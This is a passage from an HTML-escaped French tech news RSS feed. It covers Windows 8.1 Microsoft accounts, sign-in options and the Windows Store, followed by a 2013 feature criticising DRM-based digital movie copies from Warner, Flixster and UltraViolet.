+&lt;p&gt;Depuis quelques temps maintenant, Microsoft utilise un syst&amp;egrave;me de connexion unifi&amp;eacute; pour l'ensemble de ses services. C'est le cas si vous disposez d'une adresse email &amp;laquo;&amp;nbsp;hotmail&amp;nbsp;&amp;raquo; ou &amp;laquo;&amp;nbsp;live&amp;nbsp;&amp;raquo; ou si vous avez migr&amp;eacute; votre compte Skype par exemple. Pour cette fonctionnalit&amp;eacute;, la soci&amp;eacute;t&amp;eacute; emploie d&amp;eacute;sormais un terme g&amp;eacute;n&amp;eacute;rique, il s'agit du&amp;nbsp;&amp;laquo; Compte Microsoft &amp;raquo;. Si vous utilisez l'un de ses services, vous en disposez d'un, un peu &amp;agrave; la mani&amp;egrave;re du compte Google utilis&amp;eacute; pour Gmail, Google+, Calendar, etc.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Mais pourquoi en demander un&amp;nbsp;? Parce que Windows 8(.1) fonctionne &amp;agrave; la mani&amp;egrave;re d&amp;rsquo;une plateforme mobile telle qu'Android, iOS ou Windows Phone&amp;nbsp;: le compte est utilis&amp;eacute; pour enregistrer de tr&amp;egrave;s nombreuses informations. Ainsi, les applications que vous avez t&amp;eacute;l&amp;eacute;charg&amp;eacute;es ou achet&amp;eacute;es, les donn&amp;eacute;es stock&amp;eacute;es sur SkyDrive, les photos et un grand nombre de param&amp;egrave;tres sont ainsi sauvegard&amp;eacute;s.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Le b&amp;eacute;n&amp;eacute;fice de fournir un compte s&amp;rsquo;explique facilement via deux exemples notamment. En cas de r&amp;eacute;installation compl&amp;egrave;te de la machine, il permettra de remettre en place de nombreux &amp;eacute;l&amp;eacute;ments comme vous les aviez laiss&amp;eacute;s, notamment les vignettes, vos th&amp;egrave;mes et fonds d'&amp;eacute;crans. En gros, la configuration g&amp;eacute;n&amp;eacute;rale de la machine. Il est &amp;eacute;galement pratique quand il est utilis&amp;eacute; sur plusieurs ordinateurs / tablettes : vous retrouvez tous vos r&amp;eacute;glages sans rien avoir &amp;agrave; configurer.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Avec Windows 8, il &amp;eacute;tait possible de continuer &amp;agrave; utiliser un &amp;laquo; Compte local &amp;raquo; pour ceux qui ne voulaient pas en passer par cette &amp;eacute;tape. Avec Windows 8.1 cette possibilit&amp;eacute; est encore moins visible &amp;agrave; l'installation. De plus,&amp;nbsp;Skype est d&amp;eacute;sormais int&amp;eacute;gr&amp;eacute; par d&amp;eacute;faut dans le syst&amp;egrave;me. Ouvrir l&amp;rsquo;application (dont la vignette sera automatiquement ajout&amp;eacute;e sur l&amp;rsquo;accueil) utilisera donc automatiquement le compte Microsoft et affichera vos contacts sur le service ou ceux issus de Windows Live Messenger. Pour rappel, ce dernier fermera ses portes en mars prochain, ce qui ne vous laisse plus que quelques mois pour migrer sur Skype.&lt;/p&gt;
+&lt;h3&gt;Bon d&amp;rsquo;accord, mais taper son mot de passe &amp;agrave; chaque d&amp;eacute;but de session, c&amp;rsquo;est p&amp;eacute;nible&amp;nbsp;!&lt;/h3&gt;
+&lt;p&gt;Il est possible de limiter les contr&amp;ocirc;les faits &amp;agrave; ce niveau. Cela concerne surtout deux points&amp;nbsp;: l&amp;rsquo;ouverture initiale de la session et la sortie de veille.&amp;nbsp;Au lieu de taper le mot de passe du compte Microsoft au d&amp;eacute;marrage de Windows, on peut utiliser deux autres param&amp;egrave;tres&amp;nbsp;: une image, sur laquelle on va dessiner un ou plusieurs mouvements avec la souris ou le doigt, ou un code PIN. Si vous estimez qu&amp;rsquo;un simple code suffit, choisissez la seconde option, qui permet de d&amp;eacute;finir quatre chiffres pour d&amp;eacute;verrouiller l&amp;rsquo;ordinateur, comme sur un smartphone.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142246.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142246.png" alt="windows 8 8.1" /&gt;&lt;/a&gt; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142247.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142247.png" alt="windows 8 8.1" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour supprimer la demande de mot de passe lorsque la machine sort de mise en veille, il faut &amp;eacute;galement se rendre dans les options du compte dans la rubrique &lt;em&gt;Options de connexion&lt;/em&gt;. L&amp;agrave;, il faudra cliquer sur le bouton &lt;em&gt;Modifier&lt;/em&gt; sous &lt;em&gt;Strat&amp;eacute;gie de mot de passe&lt;/em&gt;. Windows vous avertira alors du changement.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Attention n&amp;eacute;anmoins, moins le code est complexe, moins votre machine sera prot&amp;eacute;g&amp;eacute;e. N'oubliez d'ailleurs pas qu'il vous faudra le garder en m&amp;eacute;moire et ne surtout pas l'&amp;eacute;crire sur un bout de papier &amp;agrave; c&amp;ocirc;t&amp;eacute; de votre machine par exemple. En cas d'oubli, Microsoft vous enverra un mail ou un SMS afin de r&amp;eacute;initialiser votre mot de passe, en fonction des informations que vous aurez communiqu&amp;eacute; au sein de votre compte.&lt;/p&gt;
+&lt;h3&gt;Je vois qu&amp;rsquo;il y a une boutique, &amp;ccedil;a veut dire que je dois racheter mes logiciels&amp;nbsp;?&lt;/h3&gt;
+&lt;p&gt;Non, les applications que vous poss&amp;eacute;dez marcheront normalement sous Windows 8(.1) via le Bureau, du moins dans la grande majorit&amp;eacute; des cas. Il ne devrait ainsi pas y avoir de probl&amp;egrave;mes si vous venez de Vista ou Windows 7. En ce qui concerne une migration depuis Windows XP, il se pourrait que vous rencontriez des probl&amp;egrave;mes mais la compatibilit&amp;eacute; g&amp;eacute;n&amp;eacute;rale est assez bonne.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142349.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142349.png" alt="windows 8 8.1 store" /&gt;&lt;/a&gt; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142350.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142350.png" alt="windows 8 8.1 store" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La boutique d&amp;rsquo;applications, aussi connue sous le petit nom de &amp;laquo; Windows Store &amp;raquo;, est fournie pour ceux qui appr&amp;eacute;cient l&amp;rsquo;&amp;eacute;cran d&amp;rsquo;accueil et les nouveaux logiciels qui sont livr&amp;eacute;s avec le syst&amp;egrave;me, aussi connus sous le terme d'application &amp;laquo; Modern UI &amp;raquo;. Il permet d&amp;rsquo;en r&amp;eacute;cup&amp;eacute;rer de nouvelles, et comme sous Android ou iOS, beaucoup sont gratuites. Contrairement aux applications classiques, et encore une fois comme sur les plateformes mobiles, elles se mettront &amp;agrave; jour automatiquement.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Notez que les applications que vous achetez ne n&amp;eacute;cessitent pas de cl&amp;eacute;&amp;nbsp;: la licence est enregistr&amp;eacute;e dans le compte Microsoft. Cela signifie que vous pourrez installer et utiliser cette application sur une autre machine gr&amp;acirc;ce &amp;agrave; votre compte sans avoir &amp;agrave; la payer &amp;agrave; nouveau. Autre avantage, notamment pour ce qui est des jeux, une version d'essai gratuite est souvent propos&amp;eacute;e.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Il existe n&amp;eacute;anmoins quelques exceptions. En effet, les &amp;eacute;diteurs qui le souhaitent peuvent y vendre des applications classiques destin&amp;eacute;es au Bureau. C&amp;rsquo;est le cas de Microsoft qui y propose Office 2013, mais de tels produits indiqueront clairement cette diff&amp;eacute;rence, via une mention sp&amp;eacute;cifique comme vous pouvez le voir dans cette capture :&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142351.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-142351.png" alt="windows 8 8.1 store" width="500" /&gt;&lt;/a&gt;&lt;/p&gt;</description><pubDate>Thu, 26 Dec 2013 11:30:30 Z</pubDate></item><item><guid isPermaLink="false">696</guid><link>http://www.nextinpact.com/dossier/696-de-m6-video-box-a-ultraviolet-la-copie-digitale-en-question/1.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=tests&amp;utm_campaign=pcinpact</link><author>david@pcinpact.com</author><title>De M6 Vidéo Box à UltraViolet : la copie digitale en question</title><description>&lt;p class="actu_chapeau"&gt;Et c'est justement sur la base de ces trois points qu'est n&amp;eacute;e UltraViolet&amp;nbsp;&lt;a href="http://www.pcinpact.com/news/58417-drm-ultraviolet-interoperable-cloud-consortium-dece.htm" target="_blank"&gt;il y a plus de trois ans&lt;/a&gt;, sous la direction du&amp;nbsp;&lt;a href="Digital%20Entertainment Content Ecosystem" target="_blank"&gt;Digital Entertainment Content Ecosystem&lt;/a&gt;&amp;nbsp;(DECE), un consortium r&amp;eacute;unissant de tr&amp;egrave;s nombreux acteurs de ce march&amp;eacute; aux int&amp;eacute;r&amp;ecirc;ts communs. Une solution de protection des contenus qui se veut unique pour les ayants droit, pouvant fonctionner avec diff&amp;eacute;rentes plateformes, mais proposant aussi un acc&amp;egrave;s multi-&amp;eacute;crans, avec peu de limitations et une possibilit&amp;eacute; nouvelle : celle de partager les droits d'acc&amp;egrave;s avec un d'autres utilisateurs.&lt;/p&gt;
+&lt;h3&gt;UltraViolet : l'ultime essai d'une industrie qui mise encore tout sur les DRM&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Dans la pratique, comment cela se passe ? En France, on aura un air de d&amp;eacute;j&amp;agrave; vu puisque le syst&amp;egrave;me ne fonctionne qu'avec une seule plateforme : &lt;a href="https://fr.flixster.com/" target="_blank"&gt;Flixster&lt;/a&gt;. Attention, ce n'est ici qu'un d&amp;eacute;but puisque le syst&amp;egrave;me est pr&amp;eacute;vu pour &amp;ecirc;tre capable d'en g&amp;eacute;rer plusieurs. Il en est de m&amp;ecirc;me pour les studios participants.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;En France on trouve d&amp;eacute;j&amp;agrave; plusieurs films de la Warner exploitant UltraViolet : Pacific Rim, Elysium, Les Schoumpfs 2, Conjuring, etc.&amp;nbsp;Universal a aussi rejoint le programme il y a peu avec &lt;a href="http://www.universalpictures-film.fr/film/kick-ass-2" target="_blank"&gt;Kick-Ass 2&lt;/a&gt; ou &lt;a href="http://www.universalpictures-film.fr/film/moi-moche-et-mechant-2/" target="_blank"&gt;Moi, moche et m&amp;eacute;chant 2 &lt;/a&gt;par exemple. Un portail d&amp;eacute;di&amp;eacute; est cette fois mis en place avec une proc&amp;eacute;dure sp&amp;eacute;cifique qui rajoutera une &amp;eacute;tape par rapport aux exemples pr&amp;eacute;c&amp;eacute;dents comme on peut le voir &lt;a href="http://www.ultravioletuniversal.com/" target="_blank"&gt;par ici&lt;/a&gt;. Aucun des deux ne propose encore de transformer votre vid&amp;eacute;oth&amp;egrave;que physique en codes &amp;agrave; utiliser en ligne, contrairement &amp;agrave; ce qui est d&amp;eacute;j&amp;agrave; pratiqu&amp;eacute; aux USA &lt;a href="http://www.vudu.com/disc_to_digital.html" target="_blank"&gt;avec Walmart et Vudu par exemple&lt;/a&gt;. Il sera int&amp;eacute;ressant de voir si, cette ann&amp;eacute;e, une telle pratique traverse nos fronti&amp;egrave;res.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour en profiter, il faudra donc disposer de deux comptes : un pour UltraViolet, un second pour Flixster. Les deux devront &amp;ecirc;tre li&amp;eacute;s afin de pouvoir communiquer. Si vous avez d&amp;eacute;j&amp;agrave; un compte Flixster, celui-ci pourra bien entendu &amp;ecirc;tre r&amp;eacute;utilis&amp;eacute;. Si vous en cr&amp;eacute;ez un, la mise en place unifi&amp;eacute;e vous sera propos&amp;eacute;e d&amp;egrave;s le d&amp;eacute;part :&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142325.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-142325.png" alt="Flixster Inscription UltraViolet" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;L'inscription Flixster propose directement la cr&amp;eacute;ation d'un compte UltraViolet&lt;/span&gt;&lt;/p&gt;
+&lt;h3&gt;UltraViolet : le DRM qui propose le partage avec cinq utilisateurs (mais pas plus)&lt;/h3&gt;
+&lt;p&gt;Premier regret : le site de gestion d'UltraViolet &lt;a href="https://my.uvvu.com/ssp/public/homePage2.jsf" target="_blank"&gt;My UVVU&lt;/a&gt; n'existe pas en fran&amp;ccedil;ais. Autant dire qu'avec le besoin de disposer de deux comptes, cela va restreindre franchement la compr&amp;eacute;hension de l'utilisateur moyen.&amp;nbsp;Mais c'est ce compte qui va vous ouvrir certaines possibilit&amp;eacute;s. Parmi elle, l'acc&amp;egrave;s au code UltraViolet qui permet de se connecter sur un lecteur compatible. Pour le moment, c'est un programme b&amp;ecirc;ta et de tels lecteurs n'existent pas encore, mais on imagine assez ais&amp;eacute;ment ceux-ci se d&amp;eacute;mocratiser rapidement, sans parler des produits tels que les consoles de nouvelle g&amp;eacute;n&amp;eacute;rations qui pourraient assez facilement proposer une application sp&amp;eacute;cifique.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;C'est aussi via votre compte UltraViolet que vous pourrez ajouter des utilisateurs avec qui vous pourrez partager votre catalogue. Au total, ils pourront &amp;ecirc;tre jusqu'&amp;agrave; cinq et peuvent disposer de diff&amp;eacute;rents niveaux de droits : basiques, standards ou complet. Ils pourront ainsi g&amp;eacute;rer ou non les autres utilisateurs, la biblioth&amp;egrave;que de films, les lecteurs, etc. Un syst&amp;egrave;me de contr&amp;ocirc;le parental peut aussi &amp;ecirc;tre activ&amp;eacute; afin de bloquer l'affichage de certains contenus. Oui, UltraViolet est d&amp;eacute;j&amp;agrave; pr&amp;ecirc;t pour la gestion des films pornographiques et autres contenus explicites.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&amp;nbsp;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142338.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142338.png" alt="Gestion compte UltraViolet" /&gt;&lt;/a&gt; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142339.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142339.png" alt="Gestion compte UltraViolet" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Autant dire qu'au final, cela n'aura rien de simple. Lors de nos essais nous avons en effet d&amp;ucirc; nous y reprendre &amp;agrave; plusieurs fois afin de correctement apprendre &amp;agrave; g&amp;eacute;rer les diff&amp;eacute;rents comptes et les liens entre les utilisateurs afin de partager un film par exemple. Si au final cela &amp;eacute;tait parfaitement fonctionnel, il est clair qu'un syst&amp;egrave;me moins lourd aurait sans doute ouvert cette possibilit&amp;eacute; &amp;agrave; bien plus d'utilisateurs alors que dans le cas pr&amp;eacute;sent, beaucoup devraient se retrouver face &amp;agrave; un mur infranchissable en attendant que l'expert en informatique de la famille ne vienne leur donner un cours d&amp;eacute;di&amp;eacute;.&lt;/p&gt;
+&lt;h3&gt;Les DRM, m&amp;ecirc;me complexes, ne freinent pas le piratage... mais d&amp;eacute;goutent l'utilisateur&lt;/h3&gt;
+&lt;p&gt;Car si au final, l'&amp;eacute;volution de la gestion des copies digitales va dans le bon sens, et que l'initiative UltraViolet tente d'&amp;eacute;viter les solutions rat&amp;eacute;es du niveau de M6 Vid&amp;eacute;o Box, on ne peut que rejoindre ceux qui pr&amp;ocirc;nent tout simplement la fin de ces DRM qui ne font que g&amp;ecirc;ner l'utilisateur, qui a achet&amp;eacute; une &amp;oelig;uvre, et se voit mettre des tas de b&amp;acirc;tons dans les roues au moment d'en profiter... contrairement &amp;agrave; celui qui s'est content&amp;eacute; de la pirater.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Car si le but des DRM &amp;eacute;tait d'endiguer le piratage, le r&amp;eacute;sultat de ces cinq derni&amp;egrave;res ann&amp;eacute;es prouve que cela est compl&amp;egrave;tement rat&amp;eacute;. Et ce n'est pas l'existence de &lt;a href="http://www.pcinpact.com/?f_rub=48&amp;amp;f_red=&amp;amp;f_tri=date&amp;amp;f_range=&amp;amp;f_date_s=&amp;amp;f_date_f=" target="_blank"&gt;la Hadopi&lt;/a&gt; ou du label &lt;a href="http://www.pcinpact.com/news/84930-le-label-offrelegale-fr-hadopi-indigne-photographes-professionnels.htm" target="_blank"&gt;Offre L&amp;eacute;gale.fr&lt;/a&gt;&amp;nbsp;qui va y changer quoi que ce soit. On se demande d'ailleurs s'il n'aurait finalement pas &amp;eacute;t&amp;eacute; bien plus efficace de prendre tout l'argent d&amp;eacute;pens&amp;eacute; dans ces diverses solutions afin de l'injecter dans le d&amp;eacute;veloppement d'une offre l&amp;eacute;gale v&amp;eacute;ritablement plus int&amp;eacute;ressante.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/124167.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-124167.png" alt="drm" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;Playforsure : la bonne &amp;eacute;poque des lecteurs certifi&amp;eacute;s par Microsoft&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Elle aurait sans doute &amp;eacute;t&amp;eacute; plus convaincante pour ce qui est de d&amp;eacute;cider les utilisateurs de se d&amp;eacute;tourner du piratage au profit de l'offre payante comme a r&amp;eacute;ussi &amp;agrave; le faire avec douleur le monde de la musique qui a finalement &lt;a href="http://www.pcinpact.com/news/48243-itunes-fin-drm.htm" target="_blank"&gt;d&amp;eacute;cid&amp;eacute; de se d&amp;eacute;barasser des DRM&lt;/a&gt; il y a maintenant pr&amp;egrave;s de cinq ans, et qui paie encore aujourd'hui le prix des mauvaises habitudes prises du temps o&amp;ugrave; l'&amp;eacute;coute d'un fichier musical prot&amp;eacute;g&amp;eacute; pouvait demander d'avoir un Master en informatique appliqu&amp;eacute;e.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Car comme Amazon qui cherche &amp;agrave; &amp;eacute;liminer la moindre seconde qui s&amp;eacute;pare la pulsion d'achat de la finalisation de l'acte d'achat, les ayants droit devraient chercher &amp;agrave; faciliter l'acc&amp;egrave;s &amp;agrave; leur catalogue et la cr&amp;eacute;ation d'offres commerciales innovantes permettant de le mettre en valeur. Force est de constater qu'&amp;agrave; l'approche de 2014, que l'on parle de vid&amp;eacute;o &amp;agrave; la demande, de vid&amp;eacute;o &amp;agrave; la demande par abonnement, d'achat physique ou de copie&amp;nbsp;&amp;laquo; digitale &amp;raquo;, ce n'est pas le cas. Il faudra sans doute attendre qu'un Netflix ou un autre acteur viennent bousculer les habitudes pour que les consommateurs fran&amp;ccedil;ais puissent enfin trouver leur bonheur, sans doute au d&amp;eacute;triment de ceux qui n'ont pas su trouver les bonnes r&amp;eacute;ponses aux seules questions auxquelles ils avaient &amp;agrave; r&amp;eacute;pondre pendant les ann&amp;eacute;es o&amp;ugrave; la r&amp;eacute;volution du num&amp;eacute;rique bouleversait leurs petites habitudes.&lt;/p&gt;&lt;p class="actu_chapeau"&gt;On passera par l'abus de l'utilisation du terme&amp;nbsp;&amp;laquo; Digital &amp;raquo; en fran&amp;ccedil;ais pour se concentrer sur ce qu'il cache. Pour faire simple, il s'agit d'une version num&amp;eacute;rique du film qui est mise &amp;agrave; votre disposition lorsque vous achetez un DVD ou un Blu-ray, que vous pouvez t&amp;eacute;l&amp;eacute;charger et utiliser comme bon vous semble... ou presque.&lt;/p&gt;
+&lt;h3&gt;La&amp;nbsp;&amp;laquo; copie digitale &amp;raquo; : on cherche &amp;agrave; annuler les probl&amp;egrave;mes, ils s'additionnent&lt;/h3&gt;
+&lt;p&gt;Car comme nous avons pu le voir au fil des ann&amp;eacute;es, tout n'est pas si rose, folie des DRM oblige. Afin d'&amp;eacute;viter un piratage qui s'est de toute fa&amp;ccedil;on d&amp;eacute;velopp&amp;eacute;e sur le terrain d'une offre l&amp;eacute;gale bancale, la version num&amp;eacute;rique mise &amp;agrave; disposition par les ayants droits a toujours &amp;eacute;t&amp;eacute; plus ou moins limit&amp;eacute;e.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Elle s'est ainsi souvent av&amp;eacute;r&amp;eacute;e inutile pour le consommateur qui pouvait avoir toute raison de croire que l'on se moquait de lui avec cette copie propos&amp;eacute;e uniquement dans des &amp;eacute;ditions sp&amp;eacute;cifiques, et plus ch&amp;egrave;res.&amp;nbsp;En effet, la copie digitale &amp;eacute;tait g&amp;eacute;n&amp;eacute;ralement la partie d'un pack comprenant un DVD et un Blu-ray, permettant la lecture sur diff&amp;eacute;rents supports contre quelques euros de plus.&amp;nbsp;&lt;/p&gt;
+&lt;h3&gt;Cinq ans apr&amp;egrave;s un premier essai, le bilan est encore plus mauvais qu'&amp;agrave; l'&amp;eacute;poque&lt;/h3&gt;
+&lt;p&gt;La Warner est sans doute la soci&amp;eacute;t&amp;eacute; qui a &amp;eacute;t&amp;eacute; la plus active sur ce terrain en France depuis tout ce temps, sans parler de ses diff&amp;eacute;rentes tentatives comme &lt;a href="http://www.pcinpact.com/news/62349-warner-location-film-credit-facebook.htm" target="_blank"&gt;la location de films via Facebook&lt;/a&gt;. C'est en effet quasiment la seule &amp;agrave; avoir propos&amp;eacute; une solution, qui a largement &amp;eacute;volu&amp;eacute; au fil des ann&amp;eacute;es, pour devenir plus ou moins permissive au gr&amp;eacute; des modes. Mais surtout, cela s'est fait sans quasiment aucune continuit&amp;eacute;. Nous avions en effet &lt;a href="http://www.pcinpact.com/news/49399-hadopi-copie-privee-albanel-warner.htm" target="_blank"&gt;effectu&amp;eacute; un premier essai d&amp;eacute;but 2009&lt;/a&gt; avec &lt;em&gt;The Dark Knight&amp;nbsp;&lt;/em&gt;et nous avions &amp;eacute;t&amp;eacute; relativement d&amp;eacute;&amp;ccedil;us.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Si jamais aujourd'hui nous voulions profiter de cette copie digitale, ce serait quasiment impossible.&amp;nbsp;Le t&amp;eacute;l&amp;eacute;chargement propos&amp;eacute; ne peut &amp;ecirc;tre effectu&amp;eacute; que pendant une courte p&amp;eacute;riode et de toute fa&amp;ccedil;on, le site n'existe plus. Si le code &amp;eacute;tait &amp;agrave; l'&amp;eacute;poque valable jusqu'en d&amp;eacute;cembre 2014, il aurait donc &amp;eacute;t&amp;eacute; inutilisable si nous ne l'avions pas d&amp;eacute;j&amp;agrave; exploit&amp;eacute;. En fait, nous aurions d&amp;ucirc; garder le fichier qui n'&amp;eacute;tait alors lisible que dans Windows Media Player pour tenter d'en profiter d&amp;eacute;sormais sous Windows 8.1. Bref, au bout du compte, une galette maltrait&amp;eacute;e aura plus de chance d'&amp;ecirc;tre encore lisible.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Plus r&amp;eacute;cemment, nous avions achet&amp;eacute; un Blu-ray de Projet X &amp;ndash; &lt;a href="http://www.pcinpact.com/news/76385-projet-x-film-plus-pirate-l-annee-2012.htm" target="_blank"&gt;film le plus pirat&amp;eacute; de 2012&lt;/a&gt;&amp;nbsp;&amp;ndash; qui, en plus de disposer d'une version longue non censur&amp;eacute;e, offrait la possibilit&amp;eacute; de r&amp;eacute;cup&amp;eacute;rer une copie digitale exploitant la technologie de DivX. Ici, les choses &amp;eacute;taient un peu plus simples et passaient par le nouveau portail de l'&amp;eacute;poque, &lt;a href="http://www.warnerbros.fr/mywarner/" target="_blank"&gt;MyWarner&lt;/a&gt;, toujours disponible (mais pour combien de temps ?). Le fichier n'&amp;eacute;tait pas du niveau d'un Blu-ray mais &amp;eacute;tait de plut&amp;ocirc;t bonne qualit&amp;eacute;. Probl&amp;egrave;me, il n&amp;eacute;cessitait DivX Player ou un lecteur physique compatible DivX. C'&amp;eacute;tait n&amp;eacute;anmoins moins contraignant que notre premier essai, d'autant plus que les adeptes de Windows Media Player pouvaient privil&amp;eacute;gier ce format.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Un point dr&amp;ocirc;le &amp;agrave; noter : ce code n'&amp;eacute;tait pas valable plusieurs ann&amp;eacute;es contrairement &amp;agrave; celui du film pr&amp;eacute;c&amp;eacute;dent, mais expirait le 18 janvier 2013, l'achat ayant eu lieu pendant l'&amp;eacute;t&amp;eacute; 2012. L'autre &amp;eacute;l&amp;eacute;ment int&amp;eacute;ressant est que si le film appara&amp;icirc;t toujours dans notre compte, le message qui suit une tentative de t&amp;eacute;l&amp;eacute;chargement est assez clair :&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&amp;nbsp;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142323.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-142323.png" alt="Erreur Droits MyWarner" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;En gros : merci d'avoir pay&amp;eacute; et d'avoir test&amp;eacute; notre solution, mais pour ce qui est d'en profiter pleinement, vous repasserez. Autant dire que l&amp;agrave; encore, nous aurions d&amp;ucirc; jouer les archivistes pour avoir acc&amp;egrave;s &amp;agrave; une copie num&amp;eacute;rique. On imagine le r&amp;eacute;sultat si Steam faisait de m&amp;ecirc;me avec ses jeux. Pire : le site nous propose de nous abonner &amp;agrave; un service... &lt;a href="http://www.warnerbros.fr/wtv_close_explanation" target="_blank"&gt;ferm&amp;eacute;&lt;/a&gt; !&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;L'autre probl&amp;egrave;me de l'&amp;eacute;poque &amp;eacute;tait l'impossibilit&amp;eacute; de visionner le film sur un appareil mobile tel qu'une tablette ou un smartphone. Un comble en 2012 ou en 2013.&lt;/p&gt;
+&lt;h3&gt;Flixster : la Warner mise enfin sur le multi-plateformes, mais fait encore des erreurs&lt;/h3&gt;
+&lt;p&gt;La Warner ne semble n&amp;eacute;anmoins pas avoir l&amp;acirc;ch&amp;eacute; l'affaire et &amp;agrave; plus r&amp;eacute;cemment lanc&amp;eacute; une nouvelle solution qui se base sur un service maison : Flixster. Contrairement &amp;agrave; ce qui se passe outre-Atlantique o&amp;ugrave; l'ensemble est assez complet, chez nous celui-ci ne sert qu'&amp;agrave; une chose : permettre aux clients de la Warner de taper leur code et de disposer d'une solution de lecture multi-plateformes. La promesse est belle mais les d&amp;eacute;tails encore et toujours assez regrettables &amp;agrave; analyser.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;em&gt; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142342.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-142342.png" alt="Flixster" /&gt;&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
